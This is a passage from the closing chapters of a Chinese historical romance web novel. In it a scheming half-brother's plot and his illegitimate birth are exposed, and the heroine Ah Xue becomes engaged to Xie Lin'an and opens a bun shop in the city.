原本该烂醉如泥的赵友成神色清明的走了出来,指着谢康安道:“我亲眼看见他去茶楼坐了一个时辰后才回客栈假装找人。” 自从被谢康安害过之后,谢临安便让赵家兄弟暗中观察他,也正因如此,他们才能将计就计。 谢康安张了张嘴,似乎想要狡辩,但他什么都说不出来,只能下意识的去向谢侯爷求助。 “侯爷……” 啪的一声脆响,是侯夫人上前给了谢康安一嘴巴,将谢康安打到侧脸,足以可见有多用力。 “你好生恶毒,我们母子有哪点对不起你,要让你费尽心思谋害我们的性命!” 捂着脸的谢康安继续看谢侯爷,想从他那得到帮助,可谢侯爷并未言语,只是用失望的眼神看他。 谢康安心下一沉。 完了。 …… 谢家的事情阿雪有点不懂,深夜她躺在床上翻来覆去,脑子里想的是谢康安被押着走之前喊的那句“亲生儿子”。 什么意思? 阿雪掰着手指头算。 “郎君是大郎,也就是夫人和侯爷的儿子。谢康安是四郎,听说是二房家的第三个儿子,排行老四。” “俩人是堂兄弟没错啊,那谢康安说的亲生儿子,是什么意思?” “什么意思?”深更半夜,客栈房间里烛火通明,谢临安对面坐着侯爷夫妇,他从二人的表情上嗅到不同寻常的意味。 “过去的事情莫要再提,”谢侯爷深感疲惫,烛火跳跃,他脸上的皱眉似乎都加深,“至于谢康安……我明早回带他回京,到了京城再处置。” “你未免太偏心了!”侯夫人不可置信道:“若不是临安聪明留了心眼,今日说不定会发生什么。且谢康安作恶多端,这次在众人面前现行,还有赵友成和茶楼伙计做口供,人证物证俱在,你难道还要包庇他吗?” 夫妻二人谁都没回答谢临安的问题,但他不是傻子,心中已经有了一个不可思议的猜想。 “所以,谢康安是你和……”谢临安在脑子里想了一下怎么称呼谢康安那个当外室的母亲,“你和林氏生下的儿子?” 侯夫人扭过头默默擦眼泪,谢侯爷则是一言不发,两只手搭在膝盖上,似乎在措辞怎么说。 在京城里,他们是人人羡慕的神仙眷侣,一个是侯爷一个是县主,二人相敬如宾感情深厚。可惜事无圆满,成亲多年无子,侯夫人为了能要一个孩子成日祈福喝药,想尽一切办法吃尽苦头,三年之后总算苦尽甘来,喜得一子为谢家大郎。谢临安出生后就被父亲请封成了世子,家中独子万千宠爱于一身。 可现在告诉他,谢康安是他父亲的儿子。 “他比我小一岁,按照年纪算的话,是母亲在寺庙祈福那年?” 不对,谢临安摇了摇头,“他们母子俩一直在此地生活,父亲又从未出过京城……” 谢临安蹙眉,看向他的父亲。 男人都是靠不住的,侯夫人想。其实这件事她也是在谢康安被领回来才知道,因为她看见对方和他儿子一样,手上都有一颗痣。世上会有这么巧合的事情吗? 谢侯爷手上同样位置也有。 自那之后,侯夫人就开始留意她们母子,还暗中派人查了他们的底细。世家大族里能人无数,她想要查到什么东西,轻而易举,尽管已经被抹除了所有痕迹,她依然抽丝剥茧,查出了一点端倪。 随着年岁渐长,谢康安的面相不像二房的兄弟们,反倒是和谢临安有些相似,尤其是他开始效仿谢临安举手投足之后。 事情彻底暴露,是因为谢侯爷和林氏的一次拉扯,被侯夫人尽收眼底,也是自那之后,他们夫妻开始分房睡觉。 “是你自己说还是我来说?”侯夫人用帕子擦拭眼泪,声音哽咽,“那年他奉命北下巡查,结识了林氏,暗结珠胎,同年我有了你,按照生辰来讲,谢康安才是那个大郎。” 谢临安眉头紧皱,谢侯爷面如土色。 “事情都已经过去了,现在他就是二房的四郎,决计不会动摇临安的位置。” “你确定吗?现在他要临安的命!这是什么意思难道你不懂?” 此时此刻,谢侯爷才反应过来那日在外偷听之人应当就是谢康安。也或许,他早就从他母亲那里知道自己的真实身份…… …… 天色微亮时,谢侯爷带着谢康安走了,侯夫人则是留下,说是要陪伴儿子。 夫妻二人早就生了嫌隙,只是维持表面平静罢了。临走前,侯夫人只提了一个要求,此事不可再让任何知晓,她的临安必须是侯府的大郎,是名正言顺的侯府继承人,不可出现任何差池,否则她不会善罢甘休。 兔子急了也是要咬人的。 何况侯夫人身后娘家是真正的权贵世家,到时候闹的满城风雨得不偿失。 而且,谢侯爷也丢不起这个人。 就算他为了自己,也会堵住谢康安的嘴,维持自己在世人眼里的形象。 赵友玉原本想跟着一道回去的,被赵友成拉住,说再晚几天出发。谢家的事情太大,他们还是不要掺和为好,躲的远远的莫要沾身。 …… 几天之后,镇子里得了疫病的百姓各自回了家,焦红杏进门之前还跨了火盆,卢大富甚至弄了一串炮仗点燃,噼里啪啦的响动喜庆的宛若过年。 消瘦不少的焦红杏满脸笑意,阿雪拉着她的手让她进屋,满屋的新家具,甚至还能闻到木头的清香。 “娘,你快看这个柜子够不够大?你之前不是一直说柜子小嘛,我爹特意买的木头亲手做的新柜子。” 焦红杏走之前家里只是重新建起来,屋里空荡荡什么都没有。但这次回来后,家里就像是她心中一样,塞满了父女俩的欢喜。 一家三口坐下吃了顿安稳饭,阿雪悄悄看焦红杏,见她满心满眼都是高兴,这才松了口气。 她娘性子软,阿雪怕她在里面被人欺负,没事就往里面送包子和馒头,就是为了讨好其他人。现在看来应当是有用的吧。 吃完饭烧了热水,让焦红杏好好洗澡休息,阿雪则去找了莲花。 “都弄好了,给,这个是你娘的,这个是你的。”莲花拿出两套衣裙。 她的手艺自不必说,两套衣服都裁剪的规整,甚至还在袖口处做了花样,如波浪似的袖子,光是看着就仙气飘飘。 “真好看!”阿雪真心实意的称赞,忍不住往自己身上比量,“莲花你厉害。” 莲花爹娘都得了疫病,这些日子家里全靠莲花撑着。百姓们人心惶惶,也没心思做新衣服因此莲花的生意不好,阿雪就把家里布料找出来,请莲花帮忙,反正她也要做衣服,不如就帮衬莲花生意好了。 照常给钱,莲花推辞,阿雪娇嗔:“你不收我再也不找你了。” 无法,莲花只得收下,不过阿雪瞧着她没将钱放匣子里。 她家里是莲花娘管钱,所有收入都要统一放到匣子里,晚上要点数目的。 “我要自己留着,”莲花没隐瞒,直接和阿雪道:“等过些日子进城讨生活去。” “反正我有手有脚,在哪都能过的好。” 至于这个家……她一天都待不下去了。 “你呢?考虑去城里开铺子吗?” 阿雪犹豫片刻后摇头:“我家在这。” 莲花笑了笑没多说,转了话题指着新衣服道:“你是要穿着它去见谢大人吗?他好了吧?” “嗯,他比我娘好的还快。”阿雪脸颊绯红,拽着新衣服道:“没有,我就是做来自己穿的。” 莲花揶揄道:“那你之前告诉我要做的收腰,底下裙摆要尽量飘逸,我说你还不承认,不是给谢大人看,是给谁看啊?” 和莲花也没什么好隐瞒的,阿雪便点头承认了。 莲花:“你们俩……” “哎呀,别问了。”阿雪觉得臊的慌,何况她自己也不确定谢临安到底是什么心思,或许,今天可以问问? 铺子一直被周碧玉照料着,生意一般,所以黄昏时分就可以歇业了。阿雪特意去后院洗漱一番,换上那件新裙子。周碧玉还帮忙弄了头发,简单梳洗打扮之后,本就貌美的小娘子叫人移不开眼。 周碧玉想了想,拔下自己头上的玉簪子作势要给阿雪戴上。 “不用的,我这根木簪子很好。”阿雪笑眼弯弯,“是郎君送的。” 她一直戴在头上,哪怕俩人之前行形同陌路时,也不曾摘下来过。 …… 来到客栈时天色还早着,阿雪下意识扶了扶发鬓才敲门。 可敲了一会无人应声。 阿雪心里一咯噔,莫不是回城里了? “卢娘子,找临安吗?”隔壁房门打开,赵友成探出头。 阿雪道:“赵郎君,郎君在何处?” “还有几个病重的百姓没回家,他带着大夫去探望了。” 奇怪,她娘怎么没提过还有人没回家呢?不过阿雪没多想,转身就朝着之前隔离疫病人群的地方去了。 背后赵友成从房间里走了出来,招呼躲在屋里的赵友玉道:“快快,你脚程快,赶紧去告诉临安一声。” 乒乒乓乓一阵响,站在原地的赵友玉已经不见踪影,赵友成看着走廊里被撞坏的窗户,再看看街道上只剩下一个背影的赵友玉,心想他二弟是不是只练武不练脑子啊。 …… “卢娘子,你来了。”赵友玉正好从院子里出来,和要进来的阿雪打了个照面,阿雪点点头,有点好奇他怎么气喘吁吁。 院子里似乎有什么动静,阿雪侧头要看,赵友玉立刻挡住。此时天边最后一丝光亮消散,逐渐看不清对方的脸。 赵友玉缓了口气,总算来得及。 “卢娘子,谢郎君就在院子里,请进。” 阿雪觉得今天所有人好像都有点怪怪的。 迈进院子,意外的漆黑一片。 “郎君?” 阿雪没瞧见人影不说,方才和她说话的赵友玉也不见了。 正当她要继续往里走时,突然听见什么东西刺啦响动,再然后就是咻的几声,阿雪顺势抬头,漆黑的夜空中绽放着如花似的焰火。 有人走过来牵住她的手,熟悉的清冽气息充斥着鼻尖。 “以后还骗人吗?” 阿雪摇头,悄悄分开手指去和他十指相扣,末了用小手指挠了挠他的掌心。 【终章】 第73章 第73章 八月初时候,京城里来了消息。 “夫人,侯爷当真这么说?” 侯夫人手里捏着京城来的消息,除了写他们一行刚到京城以外,还有关于如何处置谢康安的事情。 秋闱不用想了,谢康安现在直接以“身患疾病”的由头关了起来,往后,只能在偏远的庄子小宅里了却残生。 老嬷嬷长舒一口气。 “大郎君是名正言顺的世子,侯爷肯定多有偏颇,何况谢康安坏事做尽,没处置了他都算侯爷和夫人仁慈。” 没想到谢侯爷雷厉风行,还真将谢康安处理了,想想也是,如果他不亲自处理,那夫人可就要出手了,虽然她性子温柔,但涉及到亲生儿子,到时候谁求情都没用。 关于处置谢康安的事情,谢临安不闻不问。 这些日子以来灾患地区重建中,需要处理的公事不少。水灾冲了庄稼,还涉及到秋收税赋的事情,从老百姓的角度出发,这无异于天塌了。 谢临安写了折子上达天听,请陛下恩准减免税赋和补贴百姓的相关事宜。 朝堂之上也都在关注此事,皇帝是明君,自然同意。且还叫人调了粮食过来,用以赈灾受灾百姓们。 赵家兄弟在十天前已经返京了,临走前赵友成又是叹气又是红着眼睛,似乎随时要哭出来。 站在他身边的赵友玉默默来了句:“男儿有泪不轻弹。” 赵友成好不容易酝酿出的泪意憋了回去,只道:“你和卢娘子亲事都订完了,什么时候成婚?不会就在这里成婚吧?那可不成啊,我没法来参加。” 谢临安退后半步,避开赵友成抹了一把脸的手。 “待年底叙职时再回京办婚事,放心,你肯定能看见。” “那还成。”赵友成拿帕子擦了擦手,末了双手抱拳道:“临安,我们后会有期。” 月有阴晴圆缺,人有悲欢离合。 过了八月十五,阿雪也送她的闺中好友离开。 莲花独身一人自然不安全,正好镇子那个信差顺路,可以带着莲花。 “别伤心。”莲花安抚阿雪,“再有两个月你也要进城了啊,对了,我还能帮忙照看铺子,需要先打扫吗?” 七月时候,侯夫人请了当地最出名的媒人去卢家提了亲。焦红杏和卢大富在听说对方身份时,俱是觉得白日做梦,直到媒人说的口干舌燥,他们才恍惚相信,县令爷要向他们求娶阿雪。 细聊之后得知谢临安的身份,焦红杏简直是又哭又笑。 笑的是如此优秀郎君,是他们的阿雪高攀了,哭的是,哪里料到和侯府的姻缘线再次牵上,这下再也没人敢背后蛐蛐阿雪了。 这件婚事在当地掀起了千层浪,每日来卢家的人都要将巷子口堵住了,还有那些卢家族里的人,也一股脑的出现。 阿雪不堪其扰,索性和爹娘商量,直接去城里开铺子了事。 焦红杏担心:“往后你嫁给谢大人,还用自己开铺子挣钱吗?而且,传出去对他名声不好吧?” 嫁汉嫁汉,穿衣吃饭。 对方是侯府出身,还是世子,想必是在意颜面的,应当不会让妻子出去抛头露面。 阿雪不同意,说什么也要坚持开铺子。 “我不开铺子做什么去?哎呀,娘,他认识我的时候我就是普通卖面食的娘子,他是知道的,怎么会因为定亲后就不让我做了呢?” 然后阿雪就托靠谱的人帮忙在城里找铺子,打算一家子都搬过去,往后她和谢临安成了亲,也得在城里生活。至于镇子上的铺子,阿雪放心的交给周碧玉。 当时周碧玉眼眶发热,无比感激道:“真的交给我做吗?” 她简直不敢相信自己可以挑起一个铺子的重任。 “当然给你,碧玉姐,我觉得你都学会了,做的也很好,这处铺子我也舍不得卖,就留给你做生意吧。” 周碧玉不是忘恩负义的人,只说她代为打理,挣点工钱就成,剩下的钱还是要给阿雪。后来俩人商定,往后就抽两成利润给阿雪,剩下的周碧玉自己留着。 莲花走了,阿雪也开始收拾家里,焦红杏问了好几次。 “谢大人真的知道你要进城里开铺子的事情?” 阿雪把手里的旧衣服叠好放进箱子里。“当然知道啊,娘,你都问了好几次了,他真的知道,还是他帮忙找了合适的铺子,就在衙门附近,地段好,租金也不贵。” 其实谢临安说要买下来给她,但阿雪没同意,她说他们还没成亲,想靠自己。谢临安就改口说可以帮忙看装潢事宜,阿雪就同意了。 他在城里,她在镇子上,俩人竟然能用飞鸽传书来沟通,没几天松石就带过来一张图,说是他们郎君根据她的意思作的铺子布局,看看还有哪里需要改动。 “郎君简直是文武双全!”阿雪看着归整有序的图笑的开心,“哪里都不用动的,就按照这样改就成。” 卢家三口就举家搬迁,从镇子来到了城里。 她租赁的铺子后院可以住人,正好两间房,够他们三口人住。阿雪原本以为要忙碌几天,没想到所有东西都收拾好了,井井有条,甚至可以立刻开张。 焦红杏看哪都满意,笑意在脸上,道:“谢大人是个有心的。” 三口人挑了个良辰吉日准备开张,谢临安要忙碌公事,开张那日早晨派松石来送了贺礼,侯夫人也叫人送了东西,就连刚来城里落脚的莲花,也送来一匹用作蒸屉的布料表示祝贺。 阿雪的手艺好,她坚信自己会像是在镇子里那样继续挣钱。 可现实给了她一巴掌。 开业当天还算热闹,第二天生意就一般了,当天晚上剩了不少包子馒头。现在天气热,一宿就会捂馊了,阿雪便收拾分装好,带去衙署,让王捕头帮忙分了。 晚上和谢临安说话时也没什么心思,满脑子都是到底要怎么样才能生意兴隆。 “不问问我吗?”谢临安翻了一页书,抬眸看她。 坐在对面的阿雪正用手拖着下巴,维持这个姿势快一盏茶的时间了。想来想去,都没什么好法子,阿雪立刻虚心求教,凑过来给谢临安倒了一盏茶。 “郎君,你有什么办法吗?” 听起来像是怀疑的语气,而不是肯定。 谢临安不做声,阿雪还以为他其实也没办法。“没关系,我自己再想想。” 说着,就要回去对面坐着,刚转身便被谢临安拉住手,收紧力道将人拽过来,让她坐在腿上。 阿雪下意识的环住他脖子。 在她心里,谢临安是端庄如玉的君子,他们之间也鲜少有过分亲密的动作。阿雪着急生意,所以也没意识到这样不妥。 “我若是说有办法,你该如何?” “真的啊!” 杏眸发亮,明显带了欢喜,啪的在谢临安脸上亲了一下。 “这就够了?”他意有所指。 …… 谢临安和阿雪定亲之后关系就非比寻常了,而且赵友成临走之前还提点过,所以松石每次看到阿雪来,都会主动退出去守门。 今日卢娘子呆的时间有点长啊,松石想。 过了一会,房门开了,阿雪低着头跑了出去,连松石打招呼都没听见。 松石挠了挠头有点搞不明白怎么了,难道是吵架了?可方才一点声响都没有啊。 松石转身迈步进屋,座椅上的谢临安唇角含笑春风和煦的模样,松石更弄不懂了。 …… 翌日,阿雪的生意就开始好了起来,几天之后,几乎在上午就卖完了所有东西,紧锣密鼓的出去采买食材,在卢大富和焦红杏帮忙下,又做了好几锅,刚过黄昏时又全部卖空。 装钱的匣子满满登登,阿雪和焦红杏数钱,卢大富则是去挑水劈柴。 “娘,明天不用你干活,你歇着就成。” 太累了,阿雪都觉得胳膊发酸,她怕焦红杏身体吃不住。 “我又没做什么,就是帮忙收收钱而已,累什么累。倒是你,一会好好洗洗睡觉吧,明天你不用早起,让你爹起来和面,反正他有一把子力气没地方用。” 正赶上卢大富进来,问她们娘俩是不是背后说他坏话,母女俩俱是笑而不语。 钱点好后,阿雪回房洗澡去了,卢大富和焦红杏把铺子收拾干净落了锁,也回了自己房间。夏季炎热累了一天身上都是汗,夫妻俩清洗干净后就准备躺下睡觉,这时候听见隔壁阿雪房间开门的动静。 焦红杏趿拉着鞋出去,看见阿雪换了一身樱粉色的衣裙从后门走了。 “阿雪,天黑了莫要出门去。” “娘,我……”阿雪回头,不待说完,后门打开,身材颀长面若冠玉的年轻郎君走了进来,焦红杏立刻整理了下衣服,面上带了慈祥笑意。 “原来是临安来了啊,”谢临安见了礼,焦红杏怎么看未来女婿都满意,立刻转了口风。 “城里夜晚也热闹,听说城东还新开办了夜市,去吧去吧,等晚上回来时娘给你开门。” 阿雪朝谢临安眨了眨眼,意思是,看吧,到你这什么都行了。 谢临安温和一笑,又和焦红杏好声道了别,才带着阿雪离开。 “今日松石没来吗?” 谢临安拉过她的手,阿雪便觉得一天的疲惫一扫而空。 “我们慢慢走。”他说。 阿雪侧目看他,笑着重重点头。 “好,一起慢慢走。”